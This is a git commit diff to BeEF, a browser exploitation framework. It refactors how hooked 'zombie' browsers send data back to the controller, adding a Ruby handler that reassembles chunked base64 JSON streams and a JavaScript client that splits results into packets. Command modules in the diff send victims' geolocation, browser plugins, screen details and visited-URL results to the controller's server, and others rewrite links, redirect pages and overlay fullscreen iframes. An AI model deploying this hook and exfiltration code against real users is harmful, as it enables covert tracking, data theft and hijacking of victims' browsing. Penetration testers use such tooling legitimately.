Merged new data chopper. Migrated to new request() function. Changed all modules to call send() instead of sendback().

git-svn-id: https://beef.googlecode.com/svn/trunk@787 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
passbe
2011-03-12 01:19:21 +00:00
parent 98c656af3c
commit 15d08b84d6
37 changed files with 471 additions and 373 deletions

View File

@@ -64,6 +64,7 @@ require 'lib/server/publichandler'
require 'lib/server/requesterhandler'
require 'lib/server/inithandler'
require 'lib/server/eventhandler'
require 'lib/server/dynamichandler'
require 'lib/logger'
require 'lib/modules/command'

View File

@@ -39,8 +39,7 @@ class Command
raise WEBrick::HTTPStatus::BadRequest, "command is nil" if command.nil?
# create the entry for the results
command.results.new(:zombie_id => zombie_id, :data => result, :date => Time.now.to_i)
command.results.new(:zombie_id => zombie_id, :data => result.to_json, :date => Time.now.to_i)
command.save
# log that the result was returned

View File

@@ -1,63 +1,57 @@
module BeEF
class CommandHandler < WEBrick::HTTPServlet::AbstractServlet
class CommandHandler
include BeEF::Server::Modules::Common
attr_reader :guard
@data = {}
def initialize(config, kclass)
def initialize(data, kclass)
@guard = Mutex.new
@kclass = BeEF::Modules::Commands.const_get(kclass.capitalize)
@data = data
setup()
end
def do_POST(request, response)
@body = ''
@request = request
@response = response
@http_params = @request.query # used to populate datastore
@http_header = @request.header # used to populate datastore
def setup()
@http_params = @data['request'].query # used to populate datastore
@http_header = @data['request'].header # used to populate datastore
@http_header['referer'] ||= '' # used to populate datastore
# get and check command id from the request
command_id = @request.get_command_id()
raise WEBrick::HTTPStatus::BadRequest, "command_id is invalid" if not BeEF::Filter.is_valid_command_id?(command_id)
command_id = get_param(@data, 'cid')
# ruby filter needs to be updated to detect fixnums not strings
command_id = command_id.to_s()
raise WEBrick::HTTPStatus::BadRequest, "command_id is invalid" if not BeEF::Filter.is_valid_command_id?(command_id.to_s())
# get and check session id from the request
hook_session_id = request.get_hook_session_id()
raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(hook_session_id)
beefhook = get_param(@data, 'beefhook')
raise WEBrick::HTTPStatus::BadRequest, "beefhook is invalid" if not BeEF::Filter.is_valid_hook_session_id?(beefhook)
@guard.synchronize {
# create the command module to handle the response
command = @kclass.new # create the commamd module
command.build_callback_datastore(@http_params, @http_header) # build datastore from the response
command.session_id = hook_session_id
command.session_id = beefhook
command.callback # call the command module's callback function - it will parse and save the results
# get/set details for datastore and log entry
command_friendly_name = command.friendlyname
raise WEBrick::HTTPStatus::BadRequest, "command friendly name empty" if command_friendly_name.empty?
command_results = command.get_results()
command_results = get_param(@data, 'results')
raise WEBrick::HTTPStatus::BadRequest, "command results empty" if command_results.empty?
# save the command module results to the datastore and create a log entry
BeEF::Models::Command.save_result(hook_session_id, command_id, command_friendly_name, command_results)
command_results = {'type' => command_results.class, 'data' => command_results}
BeEF::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
}
response.set_no_cache
response.header['Content-Type'] = 'text/javascript'
response.header['Access-Control-Allow-Origin'] = '*'
response.header['Access-Control-Allow-Methods'] = 'POST'
response.body = @body
end
alias do_GET do_POST
private
@request
@response
def get_param(query, key)
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
end
end
end

View File

@@ -0,0 +1,89 @@
module BeEF
#DynamicHanlder is used reconstruct segmented traffic from the zombies
class DynamicHandler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
#holds packet queue
PQ = Array.new()
#obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::HttpHookServer.instance.mounts
#Combines packet information and pushes to PQ, then checks packets
def do_POST(request, response)
@request = request
response.body = ''
PQ << {
:beefhook => get_param(@request.query, 'bh'),
:stream_id => Integer(get_param(@request.query, 'sid')),
:packet_id => Integer(get_param(@request.query, 'pid')),
:packet_count => Integer(get_param(@request.query, 'pc')),
:data => get_param(@request.query, 'd')
}
check_packets()
end
alias do_GET do_POST
#check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
checked = Array.new()
PQ.each do |packet|
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
next
end
checked << packet[:beefhook]+':'+String(packet[:stream_id])
pc = 0
PQ.each do |p|
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
pc += 1
end
end
if (packet[:packet_count] == pc)
#better way than sorting the entire array?
PQ.sort_by { |s| s[:packet_id] }
data = ''
PQ.each_with_index do |sp,i|
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
data += sp[:data]
end
end
data = JSON.parse(Base64.decode64(data)).first
data['beefhook'] = packet[:beefhook]
data['request'] = @request
data['beefsession'] = @request.get_hook_session_id()
expunge(packet[:beefhook], packet[:stream_id])
execute(data)
end
end
end
#delete packets that have been reconstructed
def expunge(beefhook, stream_id)
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
end
#execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
def execute(data)
handler = get_param(data, 'handler')
if (MOUNTS.has_key?(handler))
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
MOUNTS[handler].new(data)
end
end
end
#assist function for getting parameter from hash
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end
end

View File

@@ -10,7 +10,7 @@ module BeEF
VERSION = BeEF::Configuration.instance.get('beef_version')
attr_reader :root_dir, :url, :configuration, :command_urls
attr_reader :root_dir, :url, :configuration, :command_urls, :mounts
def initialize
@configuration = BeEF::Configuration.instance
@@ -18,6 +18,7 @@ module BeEF
@url = "http://#{beef_host}:#{@configuration.get("http_port")}"
@root_dir = File.expand_path('../../../', __FILE__)
@command_urls = {}
@mounts = {}
end
#
@@ -70,33 +71,28 @@ module BeEF
@http_server.mount "/ui/#{mod_name}", BeEF::HttpHandler, mod_name
}
# registers the hook page
@http_server.mount "#{@configuration.get("hook_file")}", BeEF::ZombieHandler
@http_server.mount '/ui/public', BeEF::PublicHandler, "#{root_dir}/public"
@http_server.mount '/favicon.ico', WEBrick::HTTPServlet::FileHandler, "#{root_dir}#{@configuration.get("favicon_dir")}/#{@configuration.get("favicon_file_name")}"
@http_server.mount '/demos/', WEBrick::HTTPServlet::FileHandler, "#{root_dir}/demos/"
#dynamic handler
@http_server.mount '/dh', BeEF::DynamicHandler
#register mounts handled by dynamic handler
mounts['/init'] = BeEF::InitHandler
mounts['/event'] = BeEF::EventHandler
mounts['/requester'] = BeEF::RequesterHandler
# registers the command module pages
Dir["#{root_dir}/modules/commands/**/*.rb"].each { |command|
command_class = (File.basename command, '.rb').capitalize
command_file = (File.basename command, '.rb')+'.js'
@http_server.mount "/command/#{command_file}", BeEF::CommandHandler, command_class
mounts["/command/#{command_file}"] = BeEF::CommandHandler, command_class
}
# registers the hook page
@http_server.mount "#{@configuration.get("hook_file")}", BeEF::ZombieHandler
# registers the requester page
@http_server.mount '/requester', BeEF::RequesterHandler
# registers the event handler
@http_server.mount '/event', BeEF::EventHandler
# registers the init page
@http_server.mount '/init', BeEF::InitHandler
# registers the event handler
@http_server.mount '/event', BeEF::EventHandler
@http_server.mount '/ui/public', BeEF::PublicHandler, "#{root_dir}/public"
@http_server.mount '/favicon.ico', WEBrick::HTTPServlet::FileHandler, "#{root_dir}#{@configuration.get("favicon_dir")}/#{@configuration.get("favicon_file_name")}"
@http_server.mount '/demos/', WEBrick::HTTPServlet::FileHandler, "#{root_dir}/demos/"
trap("INT") { BeEF::HttpHookServer.instance.stop }
@http_server.start

View File

@@ -3,39 +3,31 @@ module BeEF
#
# The http handler that manages the return of the initial browser details.
#
class InitHandler < WEBrick::HTTPServlet::AbstractServlet
class InitHandler
attr_reader :guard
@data = {}
HB = BeEF::Models::Zombie
BD = BeEF::Models::BrowserDetails
#
# Class constructor
#
def initialize(config)
# we set up a mutex
def initialize(data)
@guard = Mutex.new
@data = data
setup()
end
#
# This function receives any POST http requests. We only
# allow the hooked browser to send back results using POST.
#
def do_POST(request, response)
response.body = ''
def setup()
# validate hook session value
session_id = request.query['BEEFHOOK'] || nil
session_id = get_param(@data, 'beefhook')
raise WEBrick::HTTPStatus::BadRequest, "session id is invalid" if not Filter.is_valid_hook_session_id?(session_id)
hooked_browser = HB.first(:session => session_id)
return if not hooked_browser.nil? # browser is already registered with framework
# create the structure repesenting the hooked browser
zombie = BeEF::Models::Zombie.new(:ip => request.peeraddr[3], :session => session_id)
zombie = BeEF::Models::Zombie.new(:ip => @data['request'].peeraddr[3], :session => session_id)
zombie.firstseen = Time.new.to_i
zombie.httpheaders = request.header.to_json
zombie.httpheaders = @data['request'].header.to_json
@guard.synchronize {
zombie.save # the save needs to be conducted before any hooked browser specific logging
}
@@ -44,72 +36,60 @@ module BeEF
log_zombie_domain = zombie.domain
log_zombie_domain = "(blank)" if log_zombie_domain.nil? or log_zombie_domain.empty?
BeEF::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}")
# get and store browser name
browser_name = get_param(request.query, 'BrowserName')
browser_name = get_param(@data['results'], 'BrowserName')
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser name" if not Filter.is_valid_browsername?(browser_name)
BD.set(session_id, 'BrowserName', browser_name)
# get and store browser version
browser_version = get_param(request.query, 'BrowserVersion')
browser_version = get_param(@data['results'], 'BrowserVersion')
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser version" if not Filter.is_valid_browserversion?(browser_version)
BD.set(session_id, 'BrowserVersion', browser_version)
# get and store browser string
browser_string = get_param(request.query, 'BrowserReportedName')
browser_string = get_param(@data['results'], 'BrowserReportedName')
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser browser string" if not Filter.is_valid_browserstring?(browser_string)
BD.set(session_id, 'BrowserReportedName', browser_string)
# get and store the os name
os_name = get_param(request.query, 'OsName')
os_name = get_param(@data['results'], 'OsName')
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser os name" if not Filter.is_valid_osname?(os_name)
BD.set(session_id, 'OsName', os_name)
# get and store page title
page_title = get_param(request.query, 'PageTitle')
page_title = get_param(@data['results'], 'PageTitle')
raise WEBrick::HTTPStatus::BadRequest, "Invalid page title name" if not Filter.is_valid_pagetitle?(page_title)
BD.set(session_id, 'PageTitle', page_title)
# get and store page title
host_name = get_param(request.query, 'HostName')
host_name = get_param(@data['results'], 'HostName')
raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name)
BD.set(session_id, 'HostName', host_name)
# get and store the browser plugins
browser_plugins = get_param(request.query, 'BrowserPlugins')
browser_plugins = get_param(@data['results'], 'BrowserPlugins')
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser plugins" if not Filter.is_valid_browser_plugins?(browser_plugins)
BD.set(session_id, 'BrowserPlugins', browser_plugins)
# get and store the internal ip address
internal_ip = get_param(request.query, 'InternalIP')
internal_ip = get_param(@data['results'], 'InternalIP')
if not internal_ip.nil?
raise WEBrick::HTTPStatus::BadRequest, "Invalid internal IP address" if not Filter.is_valid_ip?(internal_ip)
BD.set(session_id, 'InternalIP', internal_ip)
end
# get and store the internal hostname
internal_hostname = get_param(request.query, 'InternalHostname')
internal_hostname = get_param(@data['results'], 'InternalHostname')
if not internal_hostname.nil?
raise WEBrick::HTTPStatus::BadRequest, "Invalid internal host name" if not Filter.is_valid_hostname?(host_name)
BD.set(session_id, 'InternalHostname', internal_hostname)
end
end
alias do_GET do_POST
# returns a selected parameter from the query string.
def get_param(query, key)
return nil if query[key].nil?
b64_param = query[key]
raise WEBrick::HTTPStatus::BadRequest, "Invalid init base64 value" if Filter.has_non_printable_char?(b64_param)
escaped_param = CGI.unescapeHTML(b64_param)
raise WEBrick::HTTPStatus::BadRequest, "Invalid init escaped value" if Filter.has_non_printable_char?(escaped_param)
param = Base64.decode64(escaped_param)
raise WEBrick::HTTPStatus::BadRequest, "Invalid init value" if Filter.has_valid_browser_details_chars?(param)
param
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
end
end
end

View File

@@ -18,7 +18,7 @@ module Modules
# set up values required to construct beefjs
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files
js_sub_files = %w(lib/jquery-1.5.min.js lib/evercookie.js beef.js browser.js browser/cookie.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js net/local.js init.js)
js_sub_files = %w(lib/jquery-1.5.min.js lib/evercookie.js beef.js browser.js browser/cookie.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js)
# construct the beefjs string from file(s)
js_sub_files.each {|js_sub_file_name|
@@ -139,4 +139,4 @@ module Modules
end
end
end
end

View File

@@ -0,0 +1,91 @@
// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
beef.encode.json = {
stringify: function(o) {
if (typeof(JSON) == 'object' && JSON.stringify)
return JSON.stringify(o);
var type = typeof(o);
if (o === null)
return "null";
if (type == "undefined")
return undefined;
if (type == "number" || type == "boolean")
return o + "";
if (type == "string")
return $.quoteString(o);
if (type == 'object')
{
if (typeof o.toJSON == "function")
return $.toJSON( o.toJSON() );
if (o.constructor === Date)
{
var month = o.getUTCMonth() + 1;
if (month < 10) month = '0' + month;
var day = o.getUTCDate();
if (day < 10) day = '0' + day;
var year = o.getUTCFullYear();
var hours = o.getUTCHours();
if (hours < 10) hours = '0' + hours;
var minutes = o.getUTCMinutes();
if (minutes < 10) minutes = '0' + minutes;
var seconds = o.getUTCSeconds();
if (seconds < 10) seconds = '0' + seconds;
var milli = o.getUTCMilliseconds();
if (milli < 100) milli = '0' + milli;
if (milli < 10) milli = '0' + milli;
return '"' + year + '-' + month + '-' + day + 'T' +
hours + ':' + minutes + ':' + seconds +
'.' + milli + 'Z"';
}
if (o.constructor === Array)
{
var ret = [];
for (var i = 0; i < o.length; i++)
ret.push( $.toJSON(o[i]) || "null" );
return "[" + ret.join(",") + "]";
}
var pairs = [];
for (var k in o) {
var name;
var type = typeof k;
if (type == "number")
name = '"' + k + '"';
else if (type == "string")
name = $.quoteString(k);
else
continue; //skip non-string or number keys
if (typeof o[k] == "function")
continue; //skip pairs where the value is a function.
var val = $.toJSON(o[k]);
pairs.push(name + ":" + val);
}
return "{" + pairs.join(", ") + "}";
}
}
}
beef.regCmp('beef.encode.json');

View File

@@ -27,7 +27,7 @@ beef.geolocation = {
$j.ajax({
error: function(xhr, status, error){
//console.log("[geolocation.js] openstreetmap error");
beef.net.sendback(command_url, command_id, "latitude=" + latitude
beef.net.send(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
+ "&osm=UNAVAILABLE"
+ "&geoLocEnabled=True");
@@ -36,7 +36,7 @@ beef.geolocation = {
//console.log("[geolocation.js] openstreetmap success");
var jsonResp = $j.parseJSON(data);
beef.net.sendback(command_url, command_id, "latitude=" + latitude
beef.net.send(command_url, command_id, "latitude=" + latitude
+ "&longitude=" + longitude
// + "&osm=" + encodeURI(jsonResp.display_name)
+ "&osm=tofix"
@@ -55,7 +55,7 @@ beef.geolocation = {
getGeolocation: function (command_url, command_id){
if (!navigator.geolocation) {
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
return;
}
//console.log("[geolocation.js] navigator.geolocation.getCurrentPosition");
@@ -71,19 +71,19 @@ beef.geolocation = {
switch(error.code) // Returns 0-3
{
case 0:
beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
return;
case 1:
beef.net.sendback(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
return;
case 2:
beef.net.sendback(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
return;
case 3:
beef.net.sendback(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
return;
}
beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
},
{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
);
@@ -91,4 +91,4 @@ beef.geolocation = {
}
beef.regCmp('beef.geolocation');
beef.regCmp('beef.geolocation');

View File

@@ -16,7 +16,7 @@ window.onload = function() {
function beef_init() {
if (!beef.pageIsLoaded) {
beef.pageIsLoaded = true;
beef.net.sendback_browser_details()
beef.net.browser_details()
beef.updater.execute_commands();
beef.updater.check();
}

View File

@@ -5,99 +5,118 @@
*/
beef.net = {
beef_url: "<%= @beef_url %>",
beef_hook: "<%= @beef_hook %>",
beef_queue: [],
host: "<%= @beef_host %>",
port: "<%= @beef_port %>",
hook: "<%= @beef_hook %>",
handler: '/dh',
chop: 2000,
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count: 0,
cmd_queue: [],
/**
* Response Object - returned from beef.net.request with result of request
*/
response: function() {
this.status_code = null; // 500, 404, 200, 302
this.response_body = null; // "<html>…." if not a cross domain request
this.port_status = null; // tcp port is open, closed or not http
this.was_cross_domain = null; // true or false
this.was_timedout = null; // the user specified timeout was reached
this.duration = null; // how long it took for the request to complete
},
//Command object
command: function() {
this.cid = null;
this.results = null;
this.handler = null;
this.callback = null;
this.results = null;
},
/**
* Gets an object that can be used for ajax requests.
*
* @example: var http = beef.net.get_ajax();
*/
get_ajax: function() {
// try objects
try {return new XMLHttpRequest()} catch(e) {};
try {return new ActiveXObject('Msxml2.XMLHTTP')} catch(e) {};
try {return new ActiveXObject('Microsoft.XMLHTTP')} catch(e) {};
// unsupported browser
console.error('You browser is not supported')
console.error('please provide details to dev team')
return false;
//Packet object
packet: function() {
this.id = null;
this.data = null;
},
//Stream object
stream: function() {
this.id = null;
this.packets = [];
this.pc = 0;
this.get_base_url_length = function() {
return (this.url+this.handler+'?'+'bh='+beef.session.get_hook_session_id()).length;
},
this.get_packet_data = function() {
var p = this.packets.shift();
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
};
},
/**
* Build param string from hash.
*/
construct_params_from_hash: function(param_array) {
param_str = "";
for (var param_name in param_array) {
param_str = this.construct_params(param_str, param_name, param_array[param_name])
}
return param_str;
/**
* Response Object - returned from beef.net.request with result of request
*/
response: function() {
this.status_code = null; // 500, 404, 200, 302
this.body = null; // "<html>…." if not a cross domain request
this.port_status = null; // tcp port is open, closed or not http
this.was_cross_domain = null; // true or false
this.was_timedout = null; // the user specified timeout was reached
this.duration = null; // how long it took for the request to complete
},
//Queues the command, to be sent back to the framework on the next refresh
queue: function(handler, cid, results, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function'))
{
var s = new beef.net.command();
s.cid = cid;
s.results = beef.net.clean(results);
s.callback = callback;
s.handler = handler;
this.cmd_queue.push(s);
}
},
/**
* Build param string.
*/
construct_params: function(param_str, key, value) {
// if param_str is not a str make it so
if (typeof(param_str) != 'string') param_str = '';
if (param_str != "" ) { param_str += "&"; } // if not the first param add an '&'
param_str += key;
param_str += "=";
param_str += beef.encode.base64.encode(value);
return param_str;
},
/**
* Performs http requests.
* @param: {String} the url to send the request to.
* @param: {String} the method to use: GET or POST - **NOTE** This param now ignored
* @param: {Function} the handler to callback once the http request has been performed.
* @param: {String} the parameters to send for a POST request.
*
* @example: beef.net.raw_request("http://beef.com/", 'POST', handlerfunction, "param1=value1&param2=value2");
*/
raw_request: function(url, method, handler, params) {
$j.getScript( url + '?' + params, handler);
},
/**
* Performs http requests with browoser id.
* @param: {String} the url to send the request to.
* @param: {String} the method to use: GET or POST - **NOTE** This param now ignored
* @param: {Function} the handler to callback once the http request has been performed.
* @param: {String} the parameters to send for a POST request.
*
* @example: beef.net.request("http://beef.com/", 'POST', handlerfunction, "param1=value1&param2=value2");
*/
request: function(url, method, handler, params) {
params += '&BEEFHOOK=' + BEEFHOOK; // append browser id
this.raw_request(url, method, handler, params);
},
/**
//Queues the current command and flushes the queue straight away
send: function(handler, cid, results, callback) {
this.queue(handler, cid, results, callback);
this.flush();
},
//Flush all currently queued commands to the framework
flush: function() {
if (this.cmd_queue.length > 0)
{
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
this.cmd_queue.length = 0;
this.sid_count++;
var stream = new this.stream();
stream.id = this.sid_count;
var pad = stream.get_base_url_length() + this.pad;
//cant continue if chop amount is too low
if ((this.chop - pad) > 0)
{
var data = this.chunk(data, (this.chop - pad));
for (var i = 1; i <= data.length; i++)
{
var packet = new this.packet();
packet.id = i;
packet.data = data[(i-1)];
stream.packets.push(packet);
}
stream.pc = stream.packets.length;
this.push(stream);
}
}
},
//Split string into chunk lengths determined by amount
chunk: function(str, amount) {
if (typeof amount == 'undefined') n=2;
return str.match(RegExp('.{1,'+amount+'}','g'));
},
//Push packets to framework
push: function(stream) {
//need to implement wait feature here eventually
for (var i = 0; i < stream.pc; i++)
{
this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
}
},
/**
*Performs http requests
* @param: {String} scheme: HTTP or HTTPS
* @param: {String} method: GET or POST
@@ -112,27 +131,27 @@ beef.net = {
*
* @return: {Object} response: this object contains the response details
*/
request_new: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
//check if same domain or cross domain
if (document.domain == domain){
cross_domain = false
}else{
cross_domain = true
}
cross_domain = (document.domain == domain) ? false : true;
//build the url
var url = scheme+"://"+domain;
url = (port != null) ? url+":"+port : url;
url = (path != null) ? url+path : url;
url = (anchor != null) ? url+"#"+anchor : url;
//define response object
var response = new this.response;
response.was_cross_domain = cross_domain;
var start_time = new Date().getTime();
//build and execute request
$j.ajax({type: method,
dataType: dataType,
url: scheme+"://"+domain+":"+port+path+"#"+anchor,
url: url,
data: data,
timeout: (timeoutbeef_js_cmps=beef.browser,beef.browser.cookie,beef.session,beef.net.os,beef.dom,beef.logger,beef.net,beef.updater,beef.encode.base64,beef.net.local * 1000),
timeout: (timeout * 1000),
//function on success
success: function(data, textStatus, jqXHR){
var end_time = new Date().getTime();
@@ -153,96 +172,43 @@ beef.net = {
//function on completion
complete: function(transport) {
response.status_code = transport.status;
}
});
}).done(function() { if (callback != null) { callback(response); } });
return response;
},
/**
* Send browser details back to the framework. This function will gather the details
* and send them back to the framework
*
* @example: beef.net.sendback_browser_details();
*/
sendback_browser_details: function() {
// get hash of browser details
var details = beef.browser.getDetails();
// get the hook session id
details['HookSessionID'] = beef.session.get_hook_session_id();
// contruct param string
var params = this.construct_params_from_hash(details);
// return data to the framework
this.sendback("/init", 0, params);
},
/**
* Queues a communication request to be sent the next time the hook updates
* @param: {String} The url to return the results to.
* @param: {Integer} The command id that launched the command module.
* @param: {String/Object} The results to send back.
* @param: {Function} the handler to callback once the http request has been performed.
*
* @example: beef.net.queue("/commandmodule/prompt_dialog.js", 19, "answer=zombie_answer");
*/
queue: function(commandmodule, command_id, results, handler) {
this.beef_queue.push({'command':commandmodule, 'cid':command_id, 'results':results, 'handler':handler});
},
/**
* Sends results back to the BeEF framework.
* @param: {String} The url to return the results to.
* @param: {Integer} The command id that launched the command module.
* @param: {String/Object} The results to send back.
* @param: {Function} the handler to callback once the http request has been performed.
*
* @example: beef.net.sendback("/commandmodule/prompt_dialog.js", 19, "answer=zombie_answer");
*/
sendback: function(commandmodule, command_id, results, handler) {
beef.net.queue(commandmodule, command_id, results, handler);
beef.net.flush_queue();
},
/**
* Sends results back to the BeEF framework.
*/
flush_queue: function() {
for (var i in this.beef_queue)
{
var results = this.beef_queue[i]['results'];
if(typeof results == 'object') {
s_results = '';
for(key in results) {
s_results += key + '=' + escape(results[key].toString()) + '&';
}
results = s_results;
}
if(typeof results == 'string' && typeof this.beef_queue[i]['cid'] == 'number') {
results += '&command_id='+this.beef_queue[i]['cid'];
this.request(this.beef_url + this.beef_queue[i]['command'], 'POST', this.beef_queue[i]['handler'], results);
}
this.beef_queue[i]['expunge'] = true;
}
beef.net.expunge_queue();
},
/**
* Cleans queue of commands that have been executed
*/
expunge_queue: function() {
for (var i = 0; i < this.beef_queue.length; i++)
{
if (this.beef_queue[i] && this.beef_queue[i]['expunge'])
{
this.beef_queue.splice(i,1);
}
}
}
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
clean: function(r) {
if (this.array_has_string_key(r)) {
var obj = {};
for (var key in r)
obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
return obj;
}
return r;
},
//Detects if an array has a string key
array_has_string_key: function(arr) {
if ($j.isArray(arr))
{
try {
for (var key in arr)
if (isNaN(parseInt(key))) return true;
} catch (e) { }
}
return false;
},
//Sends back browser details to framework
browser_details: function() {
var details = beef.browser.getDetails();
details['HookSessionID'] = beef.session.get_hook_session_id();
this.send('/init', 0, details);
}
};
beef.regCmp('beef.net');
beef.regCmp('beef.net');

View File

@@ -33,7 +33,7 @@ beef.updater = {
if (beef.logger.running) {
beef.logger.queue();
}
beef.net.flush_queue();
beef.net.flush();
if(beef.commands.length > 0) {
this.execute_commands();
} else {
@@ -47,35 +47,17 @@ beef.updater = {
get_commands: function(http_response) {
try {
this.lock = true;
beef.net.request(
beef.net.beef_url + beef.net.beef_hook,
'POST',
function(response, textStatus) {
if(response != null && response.length > 0) {
beef.updater.execute_commands();
}
},
beef.updater.build_updater_params()
);
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 10, 'script', function(response) {
if (response.body != null && response.body.length > 0)
beef.updater.execute_commands();
});
} catch(e) {
this.lock = false;
return;
}
this.lock = false;
},
// Builds the POST parameters to send back to the framework when requesting new commands.
build_updater_params: function() {
ret = 'beef_js_cmps=' + beef.components.join(',')
for(key in this.objects) {
ret += '&' + key + '=' + escape(this.objects[key]);
}
return ret;
},
// Executes the received commands if any.
execute_commands: function() {
if(beef.commands.length == 0) return;
@@ -95,4 +77,4 @@ beef.updater = {
}
}
beef.regCmp('beef.updater');
beef.regCmp('beef.updater');

View File

@@ -50,13 +50,13 @@ function serialize(_obj)
}
}
var plugins = escape(beef.browser.getPlugins());
var browser_type = escape(serialize(beef.browser.type()));
var plugins = beef.browser.getPlugins();
var browser_type = serialize(beef.browser.type());
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No";
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No";
var screen_params = escape(serialize(beef.browser.getScreenParams()));
var window_size = escape(serialize(beef.browser.getWindowSize()));
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size);
});
var screen_params = serialize(beef.browser.getScreenParams());
var window_size = serialize(beef.browser.getWindowSize());
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size);
});

View File

@@ -5,6 +5,6 @@ beef.execute(function() {
{
comp += results[i].url+' = '+results[i].visited+' ';
}
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result="+comp);
beef.net.send("<%= @command_url %>", <%= @command_id %>, comp);
});

View File

@@ -1,4 +1,4 @@
beef.execute(function() {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>', '<%= @selector %>')+' links rewritten to <%= @url %>');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>', '<%= @selector %>')+' links rewritten to <%= @url %>');
});

View File

@@ -1,6 +1,6 @@
beef.execute(function() {
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape('Redirected to: <%= @redirect_url %>'), function(){window.location = "<%= @redirect_url %>"});
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape('Redirected to: <%= @redirect_url %>'), function(){window.location = "<%= @redirect_url %>"});
});

View File

@@ -7,15 +7,15 @@ beef.execute(function() {
$j("iframe").remove();
beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); } });
